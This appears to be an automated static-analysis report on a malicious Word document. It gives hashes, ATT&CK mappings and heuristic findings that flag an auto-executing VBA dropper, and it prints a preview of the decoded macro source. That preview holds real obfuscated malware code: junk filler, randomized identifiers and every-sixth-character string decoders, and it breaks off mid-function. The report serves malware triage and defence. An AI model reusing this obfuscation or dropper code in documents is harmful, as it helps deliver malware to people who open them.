Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 84eda8424819051f…

MALICIOUS

Office (OLE)

533.5 KB Created: 2018-10-15 13:52:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: c9dbb222e5f55e3f5259c4f5e795f9fc SHA-1: 5aa4e37b20a2d489e2bd694fa91d47fa03d6672d SHA-256: 84eda8424819051fbf462ff7661f7f3306ff90904ee6b8013e738949a67a23fd
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1071.001 Web Protocols T1204.002 Malicious File

The sample is a Microsoft Office document containing heavily obfuscated VBA macros. Heuristics indicate the macros are designed to download and execute a file from the internet, a common dropper behavior. The presence of a Document_Open macro and CreateObject calls further supports this, suggesting an automated execution upon opening the document. The obfuscation and dropper functionality point to a malicious intent to deliver a secondary payload.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-7084114-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7084114-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        rouYQ = cCpYo.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set xDAbvni = CreateObject(sXVRNXO)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xDAbvni = CreateObject(sXVRNXO)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        LdrSDIe = Replace(jBDyGcVLp(LdrSDIe), "kzcLixGPzz", Environ(AZxAeVM("A]]VPTlyy !(lHyH_zUoa]SOs?EuJDePT@wor_P V sSsUE P(QG#ErhP AKoMHhBkf  P-SiQA lGlOlO[eepWsml")))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 191693 bytes
SHA-256: db793066680acaf1149409aa09915b9f4e98c44e75c55d53162af1df4f04d74f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
951 of 1564 identifiers look randomly generated (e.g. 'UenzpNwhdbPABHpmNqOR'); 52 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    pMQPHBJqxEl = UCase("U(dy L") + RTrim("B[Yr-( i")
    yLpBIQ = RTrim("f qbE $JNzvc$.wX ") + UCase(" Hu I?hR(UgmHJw [ ")
            For aBUhSn = 2 To 3
                For tPKmrq = 2 To 6
                    WNoUfL = RTrim("j?    y?BR$GLv$X ") + UCase("(M  O   ")
                    HBCczrmdz = Left("xa  &H _j?ljR ^ ", 2) + LTrim("TCMJ)")
                    TIJZpIOZ = RTrim("LsnlVu!flPz cq]jD") + UCase("wD$DvToa#@  OJh")
                    TIJZpIOZ = RTrim("Q. M&gV") + StrReverse("T..I%r gJye#?h")
                Next tPKmrq

                MQhsLRSReZi = Space(11) + Left("gHV GcHov[", 5)
                dIGUo = Space(13) + Left("Y@@ tOuxBu", 2)
                zUEWR = Space(20) + Left("Y-JcWKc] RW", 5)
                GVnCNefVnZCc = Left("  SVcP!k!E", 4) + LTrim(" zs Geoc%  Pa oXuO? ")
            Next aBUhSn

    OXzhuboYorHC = Right("Wn ! k@ ", 5)
    DGiFFS = 15 - 79
    hxYAKfRxz = UCase("@g LrOB ]^-IOoz") + RTrim(" Jr YXdJhK! sz ")
            For UolSOv = 2 To 6
                OXzhuboYorHC = RTrim(" ?]#Rf q )[ DY M qSf") + UCase("Sk    X)")
                zLTjL = Left("?sj T", 3) + LTrim("L  sVKppI AD (] G ")
                DGiFFS = RTrim("c)u WBa&LN V  ) A%g") + StrReverse("L #L?a")
            Next UolSOv

    pJTZloxYq = UCase("f smu") + RTrim("i E-c  Y?B X")
    OlFIeBwnMv = 75 - 70 - 98
    sbyzqzgAAHu = Left(")T & _i wM", 3) + LTrim("C#Ht ?@  ")
    akSkYh "NwsPhQRQM", "rrupxm", "CTyrDh", "BCLxSybbNY", "IyqdAQ", "FFGaEH", "XpTqBs", "GWSQaf", "DMQCeMpMFK"
    eIbVaWeckegi = LTrim("  .f EP (j$ ^aPiZ")
            For oFGsOY = 2 To 5
                While DQUFBI < 2
                    

                    eIbVaWeckegi = Space(11) + Left("okM WiN ?%i-    _", 5)
                    DGiFFS = 74 - 91 - 20
                    sbyzqzgAAHu = RTrim(" OAKCU ") + StrReverse("%-N cLmw%")
                    DQUFBI = DQUFBI + 3
                Wend

                

                WNoUfL = Space(12) + Left("-Y#K  .uz_# V)FS", 2)
                FjcWEpSEKU = RTrim(" qF?  c @_q(l$ ") + UCase("BO) K as")
            Next oFGsOY

    HBCczrmdz = Left(" t^l  PHJ]waP ", 5) + LTrim("j O$EA bk C![krh")
    OlFIeBwnMv = 76 - 8 - 49 - 8
    DGiFFS = LTrim("$gUl.SdJbDm A  ")
    ujUSqcnqLaPR = UCase("nk T  l@k]_GX$qbL") + RTrim("(p-ooV^nRA^L")
    FjcWEpSEKU = RTrim("s^aTGdQW") + StrReverse("F h#fsX@ v #")
    mRnYA = LTrim("d^jL _?V.mbq?h")
    hxYAKfRxz = Space(19) + Left(" !N Y", 5)
            For iODfQr = 2 To 4
                For aegdwi = 2 To 9
                    eIbVaWeckegi = LTrim("  m $_Bf")
                    DGiFFS = 22 - 56 - 78
                    yLpBIQ = 33 + 86 + 70 + 82 + 65 + 63
                    JRTptcwQJ = Space(19) + Left(" N pZyD .ry", 3)
                Next aegdwi

                zUEWR = RTrim("?Y^ATp@X ") + StrReverse("j$j  X_")
                pMQPHBJqxEl = Left("iDM!(qL)DV[ ", 2) + LTrim("M&v #W u s")
                eIbVaWeckegi = Space(18) + Left("A  JMu ?  x EQuheOW", 5)
                mRnYA = RTrim("vY[lhR   V X") + UCase("Q Q g_o")
            Next iODfQr



End Sub



Attribute VB_Name = "Module1"

Function AZxAeVM(Dpmio As String) As String
zLTjL = 60 - 64 - 15 - 51
    Dim rzYMTPg As String
    nhlMZavzMZ = 72 - 94 - 12 - 47 - 34 - 2
    Dim eHbngdVF() As Byte
    hxYAKfRxz = RTrim(" N$#h") + StrReverse(" yul) # sg ^jyh ")
    Dim IhbIAXrF As Integer
    dIGUo = RTrim("&%j[# [CF$") + StrReverse("# #GndZ")
    Dim kLZNJq(1199) As Byte
    MQhsLRSReZi = LTrim("   po")
    IhbIAXrF = 0
    DGiFFS = RTrim("Q tIXSs A)#J J.nBST") + StrReverse("Zk $Jeh(A")
    eHbngdVF = StrConv(Dpmio, vbFromUnicode)
    sbyzqzgAAHu = UCase("_  oluO_jP#]%") + RTrim("xYMZ% ")
    For egltY = 0 To UBound(eHbngdVF) - 1
    yLpBIQ = 17 - 61 - 29
        If (egltY Mod 6 = 0) Then
        

            kLZNJq(IhbIAXrF) = eHbngdVF(egltY)
            dIGUo = Right("Qbc&m v", 4)
            IhbIAXrF = IhbIAXrF + 5 + 6 - 10
            TIJZpIOZ = 27 - 71 - 83
        End If
        FjcWEpSEKU = RTrim("e nF MH&X") + UCase("  AeI ")
    Next egltY
    yLpBIQ = Right("  -kB  zm c ", 2)
    AZxAeVM = StrConv(kLZNJq, vbUnicode)
    GVnCNefVnZCc = RTrim(" As.p( vH") + UCase("GmlX  ")
End Function


Sub uCxTNe(JLscglG As Double, YVWgIp As Integer)
    dIGUo = RTrim("_n)mtlYG ^%kdF .-tSR") + StrReverse("Z%.^w(LW bl% s QR")
    JRTptcwQJ = UCase("vOT]wM") + RTrim("GiLBjHoC ")
    OlFIeBwnMv = UCase("Fw$ZFvnWW%n E") + RTrim("mCoYz  .")
    nhlMZavzMZ = Left("s  UbfFG@mN ^w@", 4) + LTrim(" ) ZF(a  R_IsB Y")
    DGiFFS = 86 + 52 + 2 + 84
    dIGUo = UCase("hHW J%  ") + RTrim("nml(b")
    WNoUfL = RTrim(" B Fe") + UCase("uPa .cA KiXscmt")
    OlFIeBwnMv = RTrim("-tT   f)S#") + UCase(" R t ")
    TIJZpIOZ = RTrim("a o) ] ") + StrReverse(" UImGbcQH C W .pAn")
    

    

    For WPGxdZ = 2 To 3
        For gMjkJg = 2 To 10
            MQhsLRSReZi = 57 - 9 - 77
            NsHVKPFFPcxu = UCase("#zX.zVani%p( K") + RTrim("wk(rP-Jbye _ &_")
            JRTptcwQJ = UCase("%  ?YIG") + RTrim("f Kl yE")
            OXzhuboYorHC = 74 + 12 + 2 + 2 + 63
            nhlMZavzMZ = UCase("[]zc   F") + RTrim("yPcK% pyK TNHnB")
        Next gMjkJg

        eTFXs = 69 + 59 + 10 + 22 + 44 + 62
        OXzhuboYorHC = LTrim("U   e p)Q^w u")
        hxYAKfRxz = Space(11) + Left("^? D Fb(", 4)
        dIGUo = RTrim("l hpnjR ") + UCase("mJL_ W v _NDhdvR-KS")
        yLpBIQ = RTrim("@p]Y  u") + UCase("hj@#iqO")
    Next WPGxdZ

    eTFXs = RTrim("X. m ?)") + StrReverse("E) -xl ")
    OlFIeBwnMv = Right("&Gk V ", 3)
    nhlMZavzMZ = RTrim("fnlDi") + StrReverse("Y fW nEb")
    FjcWEpSEKU = RTrim("Qv?Fb-  t U g hD") + StrReverse("S B%c    q@")
End Sub


Function QWJQva(sfbZHKq As String, VxzfEFh As Double, fRtCJpY As Boolean, KFhDUx As Boolean, PXCfFRq As String) As String
    nhlMZavzMZ = RTrim(" pSO Zn N x") + StrReverse("indE M")
    zUEWR = 66 + 83 + 3 + 69 + 51 + 52
    For oIfbSu = 2 To 4
        For XTRydE = 2 To 8
            eTFXs = LTrim("r(  P.mX )vcIW[YI iZ")
            GVnCNefVnZCc = Left("p!yfzz", 3) + LTrim(" Q K%k jO j ")
            

            NsHVKPFFPcxu = Right("? Z ei Xqb", 5)
            FKTLyfQV = 10 - 59 - 55 - 45
        Next XTRydE

        pMQPHBJqxEl = 95 + 9 + 18 + 100 + 63
        eTFXs = Right(" GIf@E o)za ", 3)
        HBCczrmdz = 33 - 79 - 47 - 93 - 7 - 71
        zUEWR = LTrim("i  Rl(?&")
    Next oIfbSu

    dIGUo = 31 + 47 + 57 + 84 + 43 + 71
    FKTLyfQV = Left("h ?gu", 5) + LTrim("IGJUtn-!S Fa")
    mRnYA = UCase("$TDx$nIq$sBq") + RTrim("z cnKhdG")
    ujUSqcnqLaPR = RTrim(")  #wY]^ fj xBRZkpU") + StrReverse("! xr? z_G hBWN ")
    TIJZpIOZ = Space(19) + Left(" x-g#d_XO-] F K v%", 4)
    FKTLyfQV = LTrim("poFvEcRQ]")
    FKTLyfQV = 30 - 79 - 37 - 60 - 32
    ujUSqcnqLaPR = UCase("dsCd(") + RTrim("VBB[ Rh ")
    FKTLyfQV = Right("Z -Vmp ", 3)
    FjcWEpSEKU = 89 + 4
    pMQPHBJqxEl = Left("I@]N   E. E[", 5) + LTrim("kmajHfg   WtN((")
    sbyzqzgAAHu = Left(" hjJvF [I", 5) + LTrim(" #f &Y  S b q @FQ")
    For YnPuNP = 2 To 6
        OlFIeBwnMv = 46 + 89 + 85
        hxYAKfRxz = LTrim("B vKJS&F  L UI#")
        nhlMZavzMZ = RTrim("m   P-E ") + StrReverse(". ]y?NH(AK  [O   k ")
        zUEWR = 6 - 24
    Next YnPuNP

    OlFIeBwnMv = 76 - 27
    For Dcmnkh = 2 To 4
        While xtdQgL < 3
            zUEWR = RTrim("N [   x#^ %xxbh") + StrReverse("I[G )")
            hxYAKfRxz = LTrim("  )F[  lBzn(EV g")
            hxYAKfRxz = Space(16) + Left("_ ^BU s d", 3)
            ujUSqcnqLaPR = LTrim(" ? trb   kdG _")
            sbyzqzgAAHu = Right("U  d!NfSs ", 3)
            xtdQgL = xtdQgL + 1
        Wend

        FKTLyfQV = 5 + 59 + 51 + 33 + 66 + 0
        pMQPHBJqxEl = Space(1) + Left("rsYXw", 4)
        dIGUo = Left("Q &E P ", 5) + LTrim("fs vw)u! t e.  F  S")
        pJTZloxYq = 26 + 87 + 18
    Next Dcmnkh

    QWJQva = "kIcjdkJRnPqLqevNTG"
End Function



Attribute VB_Name = "Module2"

Sub kIfWBi(gaHoYD As String, xsEepat As Double, KWbMUJ As Double, QGkCDpc As Integer)
    zLTjL = RTrim("X QBpovnhdE.  w-") + StrReverse("(#XzUP^z#i &Vo$")
    dIGUo = 36 - 35 - 68 - 13
    HBCczrmdz = Left("xN)bH ", 2) + LTrim("^p C .- I  ")
    eTFXs = RTrim("JZ^RaP fGuT $ j") + UCase("Jg [ R hHv")
    ujUSqcnqLaPR = LTrim("aA  %")
    sbyzqzgAAHu = UCase("L  n#x!$UG( _ j@ qR") + RTrim("R(DFBabK v ")
    dIGUo = LTrim("-J!([)u  H")
    ujUSqcnqLaPR = RTrim(" o-hjtq V-") + UCase("M  Mj")
    nhlMZavzMZ = 5 + 38 + 48 + 19 + 67 + 54
    OXzhuboYorHC = Left("ROl shF^. M.Z ", 4) + LTrim("&b)h MK%L e ")
    TIJZpIOZ = RTrim("vW[ bf e _ ^q  ]") + UCase("[ktI Q LPL Q")
    OXzhuboYorHC = Left("K_  I$Ujt F Uqvj ", 5) + LTrim("(o X-  _KDzT%ap_")
    ujUSqcnqLaPR = RTrim("  q-  ADf^ QT ") + StrReverse("Zj   mr ! f]b_")
    eIbVaWeckegi = 51 + 93 + 46 + 92 + 76
    yLpBIQ = Right(" #!iz#Tf gsu YTVTW", 3)
    pMQPHBJqxEl = 76 - 74 - 28
    For osYaAM = 2 To 5
        For SlozuM = 2 To 7
            pJTZloxYq = Left("mVHo ", 4) + LTrim("h koCm(")
            zLTjL = Space(6) + Left("Pi bU  ", 4)
            FjcWEpSEKU = 78 + 53 + 11 + 30
        Next SlozuM

        yLpBIQ = UCase(")  L   Er Rkldl n") + RTrim("^hD   ]VxcuK#f D")
        DGiFFS = Left(" c Ozqn& )r D a ", 4) + LTrim("PM.Jj _!")
        OlFIeBwnMv = Left("  Aq  Y ", 2) + LTrim("Hw  wJNz (p Sk$yIz#A")
        zLTjL = 53 - 2 - 60 - 76 - 9
    Next osYaAM

    OlFIeBwnMv = Right(" NCSZ Dh", 5)
End Sub



Function OPjQMC(ELhFoDy As Double, kpVSGcc As String, zRimrcF As Integer, mZlHdt As String, IeRfDW As Boolean) As String
    mRnYA = 37 + 68 + 15 + 54 + 27
    While NLxjnR < 2
        For cSZCiF = 2 To 8
            TIJZpIOZ = RTrim("#v n$Rcp]@ ]   Lb") + UCase("mAD Zt%vGlXw")
            FKTLyfQV = Right("x !@VsCV&W", 5)
            JRTptcwQJ = Left("Bs qt@suf", 5) + LTrim("  vtE L")
        Next cSZCiF

        zLTjL = Left(" kw$ND!Z uSta ^m", 3) + LTrim("J U T-TZL#! t k&k")
        FKTLyfQV = Right("    MKZ!iKG", 3)
        

        NLxjnR = NLxjnR + 1
    Wend

    MQhsLRSReZi = RTrim("V&IgCs-%h") + UCase("DX vJ T?M#ee&!")
    For BIOGki = 2 To 9
        NsHVKPFFPcxu = LTrim("hPE_]EMc")
        mRnYA = 50 - 12
        zUEWR = 4 + 75 + 53 + 57 + 90 + 48
        HBCczrmdz = 18 + 9 + 73 + 99 + 39
    Next BIOGki

    zLTjL = UCase("I    ?HzT!j(s a") + RTrim("E^[fe Z Eyj-dy")
    FjcWEpSEKU = Left("Z^TEff  l", 5) + LTrim("xGG^%C wNeZ?")
    yLpBIQ = 28 + 26
    HBCczrmdz = LTrim("  D FDPPl i QtH  ")
    For ObnilF = 2 To 5
        FKTLyfQV = Right("^L $KUIAgdqR   ", 3)
        zLTjL = Right("  X N!Iz ", 4)
        mRnYA = Space(18) + Left("hDnV]LIC  Z ! ", 2)
        NsHVKPFFPcxu = Left("fxI[DPwa%V o", 5) + LTrim("  _SmrUOW S@uP  I")
        yLpBIQ = RTrim(" lz!(KU%d  ") + UCase("IOu gU(quvgJBrf Ec")
    Next ObnilF

    FKTLyfQV = 18 - 74 - 16 - 5 - 23 - 67
    GVnCNefVnZCc = Right("A%AuE!)WDumbI", 2)
    OlFIeBwnMv = Right("w [r-Kx-Ts", 3)
    While dJSLVY < 3
        For QTKYHT = 2 To 9
            OXzhuboYorHC = 61 + 96 + 49
            hxYAKfRxz = 80 - 100 - 72 - 33 - 58 - 20
            hxYAKfRxz = Right(" u Hs&", 5)
        Next QTKYHT

        zLTjL = 60 - 64
        

        WNoUfL = 75 - 48
        dJSLVY = dJSLVY + 1
    Wend

    mRnYA = Left("cw   Lm UdGOP ", 2) + LTrim("^ rHA qKaf U ")
    OXzhuboYorHC = 92 + 48
    pJTZloxYq = RTrim("L FX B") + UCase("jOr- o#F")
    OPjQMC = "DtIsMjChuWZcCgrB"
End Function



Attribute VB_Name = "Module3"

Function jBDyGcVLp(vOwqQRx As String) As String
pMQPHBJqxEl = Space(18) + Left(" PLog FdqYHe", 3)
    Dim wNNAUsi As String
    NsHVKPFFPcxu = Left("  n htYK!W TBe. f", 3) + LTrim(" mGo@ i C _SfboBF_  ")
    Dim biZDvVS() As Byte
    zLTjL = RTrim("eTyv Cv k") + UCase("D QN  ")
    Dim dbkggX As Integer
    FjcWEpSEKU = 80 - 29 - 39 - 24
    Dim zmRUN(1199) As Byte
    mRnYA = 37 + 72 + 97 + 20 + 26
    dbkggX = 0
    

    biZDvVS = StrConv(vOwqQRx, vbFromUnicode)
    JRTptcwQJ = UCase("_R VQy i# Q") + RTrim("D.lL^ipjf   r  lc")
    For RGTOKKv = 0 To UBound(biZDvVS) - 1
    FKTLyfQV = 12 + 84
        If (RGTOKKv Mod 6 = 0) Then
        mRnYA = 2 - 31
            zmRUN(dbkggX) = biZDvVS(RGTOKKv)
            OXzhuboYorHC = 77 - 65 - 86 - 61
            dbkggX = dbkggX + 5 + 6 - 10
            

        End If
        HBCczrmdz = UCase("w Kk[^ &naCB VL") + RTrim(" @-TtrVmE")
    Next RGTOKKv
    zLTjL = LTrim("Vk C.#C.L CHp  Sw")
    jBDyGcVLp = StrConv(zmRUN, vbUnicode)
    eTFXs = 54 + 55 + 35 + 24
End Function


Sub NjjslY(uKRrRWl As Boolean, TqVTtOM As Boolean, lqAgsJY As Integer)
    eIbVaWeckegi = LTrim("Xo) e _qP !bBPV  @M")
    NsHVKPFFPcxu = Right("(LRy EGTt ) Yg", 2)
    HBCczrmdz = RTrim("bOo[s") + StrReverse("  m Xj?(")
    For KBZJNw = 2 To 6
        JRTptcwQJ = RTrim("OLS G(upTK L!y ") + UCase("x%#fI ebBhT?p")
        

        zUEWR = Left("!?v(.  k]n h  % OSOo", 4) + LTrim("q SXgQ   TR @UH  O")
        WNoUfL = Right("! K g", 4)
    Next KBZJNw

    For luwcZD = 2 To 4
        While vBRbhj < 5
            nhlMZavzMZ = 60 - 23 - 5
            eTFXs = RTrim("x  V[Nk  ") + StrReverse("rvnEhj@pyZ y")
            mRnYA = Space(15) + Left("P xIM", 3)
            vBRbhj = vBRbhj + 1
        Wend

        zUEWR = 95 + 45 + 53 + 7
        TIJZpIOZ = LTrim(" #@ mZOJv NCs ol ")
        NsHVKPFFPcxu = Left("Nq CWAZFD  KgV! YQ l", 5) + LTrim("- Iw  CCyR ")
        FjcWEpSEKU = RTrim("  .N]W  V &EK") + StrReverse("L_gYCY)  ^Q_$LaF$d ")
    Next luwcZD

    FKTLyfQV = RTrim("EhWs pY   JV") + UCase("B t x L s Q U_")
    pMQPHBJqxEl = 72 - 1 - 95
    HBCczrmdz = LTrim(" nG - U]S @ -tu")
    pJTZloxYq = UCase("u eJx oyK^O_ r") + RTrim("^# kkl    qm#y")
    zLTjL = Space(6) + Left("X[ Q(Bq IRRs", 2)
    

    zLTjL = 14 + 20 + 60 + 90 + 73 + 50
    FKTLyfQV = 69 + 56 + 19 + 60
    eTFXs = UCase("ouS Hh$zA  Lva") + RTrim("hSYU &   cpv &sepYta")
    For rVquZV = 2 To 8
        WNoUfL = 84 + 41
        WNoUfL = RTrim("^T!&Ab") + UCase("x#q V  &qXh   Ny")
        FKTLyfQV = Right("N UP C FH  Ha", 4)
        

    Next rVquZV

    dIGUo = Right(" oM@(EOf_f H ", 5)
    yLpBIQ = LTrim("PUlG^.Ji")
End Sub



Function AqLehp(PtqSbQH As Double, ulfNZS As Integer, ngMcCk As Double, jsRXutU As Integer) As String
    While OnbUXt < 1
        zUEWR = 18 + 91 + 38 + 61 + 24
        hxYAKfRxz = 98 - 36 - 20 - 40 - 4
        pMQPHBJqxEl = 68 + 80 + 15 + 17
        MQhsLRSReZi = Left("qD(d  ", 5) + LTrim("T$   . W[ j  s  [(")
        OnbUXt = OnbUXt + 2
    Wend

    JRTptcwQJ = 79 + 49 + 1
    eIbVaWeckegi = Space(9) + Left("M^uNZ_N  qph", 2)
    nhlMZavzMZ = Right("d C jz p ", 2)
    FjcWEpSEKU = Right("zT$ip lk%R eT#R", 2)
    DGiFFS = RTrim("k !  sacPJk$zs") + UCase(" h_BMtB$spbiaoOl G")
    OlFIeBwnMv = 81 - 28 - 13
    HBCczrmdz = Left(" sk[PzfYF EQ  ", 4) + LTrim("X jCOMvi  K[ Cy  ")
    eIbVaWeckegi = RTrim("aRd^g xrXQ ") + UCase("bL )e  ")
    pMQPHBJqxEl = LTrim("c  RgEiAI  Q?v%")
    TIJZpIOZ = 61 + 87 + 4 + 83
    HBCczrmdz = LTrim("Y hkYj&g&  ")
    sbyzqzgAAHu = Right("Dco  b u  jE x$KjK", 5)
    sbyzqzgAAHu = Left("XO&fMva sv!g P_nr", 4) + LTrim("V!L  Q Njz")
    FjcWEpSEKU = Right("IRbQ ", 3)
    dIGUo = Space(2) + Left("$T.$%^  @FZ xn    BK", 2)
    nhlMZavzMZ = Right("I&cqiWq %wSo f", 2)
    OlFIeBwnMv = RTrim("%OF?ge H_qsd") + UCase("^QbvEUoP$G #W!cutE$E")
    yLpBIQ = Left("I@h Q.@f Y.m^L WXiSo", 3) + LTrim("[  dH)_Gi w Z")
    AqLehp = "rJZDaWbMJaIOHgrYGIp"
End Function



Attribute VB_Name = "Module4"

Sub AtseFB(IWUIYv As String, lXqLae As String, soOuVN As Double, vGwpeT As Boolean)
    While keMXBa < 1
        JRTptcwQJ = Right("  ZI^  XOX(hOw ", 2)
        NsHVKPFFPcxu = Left(".H  ?hw", 2) + LTrim("rvnm #Y_")
        TIJZpIOZ = UCase("&  M ehK") + RTrim("m JpGTAyW  ZP ")
        keMXBa = keMXBa + 1
    Wend

    For iyYzNN = 2 To 4
        For iFrZDn = 2 To 10
            zUEWR = RTrim("uU HFaP#  v B[") + UCase("W Do)aj%pl?B")
            eTFXs = Left("%Lt #j", 3) + LTrim("QUz  []b (P&El]H")
            OXzhuboYorHC = RTrim(" kl xS-Kk") + UCase("ZoZxRx [-z ")
            FKTLyfQV = Left(") u Q!", 3) + LTrim("u g  ]%cqS HVc$")
            zUEWR = LTrim("J - Vok jTgIiAmc ")
        Next iFrZDn

        MQhsLRSReZi = RTrim("A (i  ?&[ @ mb H e)L") + StrReverse("X&UZ^Nl[f?x QZ_")
        hxYAKfRxz = RTrim("GzhCI   z M  UK &p") + UCase("] pg w$qZ$BE")
        HBCczrmdz = UCase("Jo$u o%vT$mN ") + RTrim("oO  i#")
        JRTptcwQJ = RTrim("L KF pFMqa??Ftm") + UCase("sLv&%n  ")
        pJTZloxYq = Space(14) + Left("x $m@__W Q H", 5)
    Next iyYzNN

    JRTptcwQJ = LTrim("yW $^int  ")
    

    ujUSqcnqLaPR = RTrim("p ct Xrb#n") + StrReverse("gna@- JVqVWza")
    FKTLyfQV = 0 - 55 - 34 - 35 - 13 - 4
    TIJZpIOZ = RTrim(" M H ") + UCase("pfA GSQ")
    FKTLyfQV = UCase("L nguLh") + RTrim("  L uyA !P@ q")
    sbyzqzgAAHu = RTrim(" L #]T X-O-") + UCase("Q&  [ TQ$ lF  yn")
    mRnYA = Space(4) + Left(" LXBa jUm ", 3)
    mRnYA = Space(18) + Left(" ##qG]GeH", 3)
    HBCczrmdz = 84 - 97 - 70 - 52 - 50 - 15
    WNoUfL = Space(9) + Left(" G#-&?C A LoO", 3)
    pJTZloxYq = Left("eNwz   .", 2) + LTrim("ZYX T[cbA RJ]] K[Z")
    hxYAKfRxz = UCase("pl! LjF  EO BK D") + RTrim("L Vrr npCPZcGTi")
    zUEWR = RTrim("_ z.$aG  ") + UCase(" siR vD@ Ua g r_&#")
    WNoUfL = Left(" ni -  X", 3) + LTrim(" s cm^ X")
    ujUSqcnqLaPR = 90 + 63
End Sub



Attribute VB_Name = "Module5"

Sub vQjsqH(uTuueY As Integer)
    JRTptcwQJ = 12 + 72
    pMQPHBJqxEl = Space(13) + Left("b]uuHE My ", 3)
    HBCczrmdz = Right("Ad - RZ  ) ]]Ryi", 3)
    OlFIeBwnMv = Left("F ) %nq @ YmyG d R", 5) + LTrim("wqu CxVz rs&ggZ ")
    sbyzqzgAAHu = UCase("M jar [xRD ") + RTrim(" WY XUNA?w Tx& s K")
    ujUSqcnqLaPR = RTrim("z-&sXk&hW  L") + UCase("y Mu)")
    zLTjL = UCase(" g jj M-") + RTrim("E@T(a)V T")
    OlFIeBwnMv = LTrim(")  uD")
    TIJZpIOZ = RTrim("?a$V )?  Y([#Ra$?OD)") + UCase("^cVD - T")
    FjcWEpSEKU = RTrim("RZ yV[_ hG  Wu @ ") + UCase(" u(Yd")
    yLpBIQ = Right("K_MfaR-[  %j [", 4)
    MQhsLRSReZi = Right("SZ&x  A]", 4)
    While RjjeFO < 1
        NsHVKPFFPcxu = RTrim(" %kj! m fjN Dx") + UCase("#% TB&   C h  S")
        

        eTFXs = Right("HC M v i.@jD", 3)
        RjjeFO = RjjeFO + 3
    Wend

    MQhsLRSReZi = Left("hBVPH", 5) + LTrim("rI_!F")
    For PlGUxa = 2 To 4
        For VJaedt = 2 To 9
            ujUSqcnqLaPR = Right(". d ^w TIuz-]^ ?w )", 5)
            

            pJTZloxYq = 83 - 13 - 95 - 14 - 82 - 73
            MQhsLRSReZi = 95 - 66 - 8 - 46 - 21 - 1
        Next VJaedt

        ujUSqcnqLaPR = 43 + 33 + 72 + 65 + 56
        pMQPHBJqxEl = UCase("AXP @u ") + RTrim("!lz  -M[j].")
        OlFIeBwnMv = UCase("A[zVbxlX") + RTrim("T tTu")
    Next PlGUxa

    nhlMZavzMZ = Left("!jDaYVj[Nj", 4) + LTrim("[ ZZel  Wd. Q")
    hxYAKfRxz = UCase("L#hRq fR") + RTrim("W#%Ktz U l E yGu$")
    

End Sub



Sub JqgffN(AmeAosM As Double, yRvRQbt As Integer, qbsCGWt As Boolean, JvMreF As Double)
    sbyzqzgAAHu = RTrim("UZ.l)Kq#O") + StrReverse("#omW $Etc@O e j.$%")
    yLpBIQ = Right("IAAV X% & N^ )R A ", 4)
    MQhsLRSReZi = Space(15) + Left(" X_U  JOGjuE]lId ", 2)
    eTFXs = 99 + 21 + 15 + 90 + 27 + 86
    JRTptcwQJ = Left("CE?-NAE!KV$Mx]KF$-% ", 4) + LTrim("vV eeWNq")
    While nLGTVu < 3
        ujUSqcnqLaPR = Left("! (^_ ]nK Be", 3) + LTrim("RlS]pypj ")
        dIGUo = Space(13) + Left("[k JL q fkd  CBSuB", 5)
        OXzhuboYorHC = UCase("P_oUkl t _ .n&rQ&") + RTrim("u _v RL  -  ]^ %q !")
        nLGTVu = nLGTVu + 2
    Wend

    NsHVKPFFPcxu = UCase("eV @xuO yLBIT") + RTrim("  o@ FhvD-")
    MQhsLRSReZi = 20 - 63 - 36 - 9
    HBCczrmdz = Left("] peHIPz^wKw  (X[%", 2) + LTrim("N PoyBf$Ke")
    eTFXs = RTrim("  mJ(jFF") + StrReverse(" V   M")
    

    OXzhuboYorHC = LTrim("gtoZ WxIX-SwONxV")
    

    

    ujUSqcnqLaPR = Left("dZ( VPWNxja", 2) + LTrim("T[k_ &P^po.j  ")
    dIGUo = RTrim("[q  # pM  K") + UCase("Iczej Z XW")
    MQhsLRSReZi = LTrim("Pl  YJ-%ed")
End Sub



Function HwCPfo(uwrDPz As String, bbvoEe As Integer, rHsuZu As Boolean, OmwTxeN As String, aLeFQWJ As Integer) As String
    For pLcZxB = 2 To 4
        For zDICbs = 2 To 10
            eTFXs = Right(" g!]-&eCc", 4)
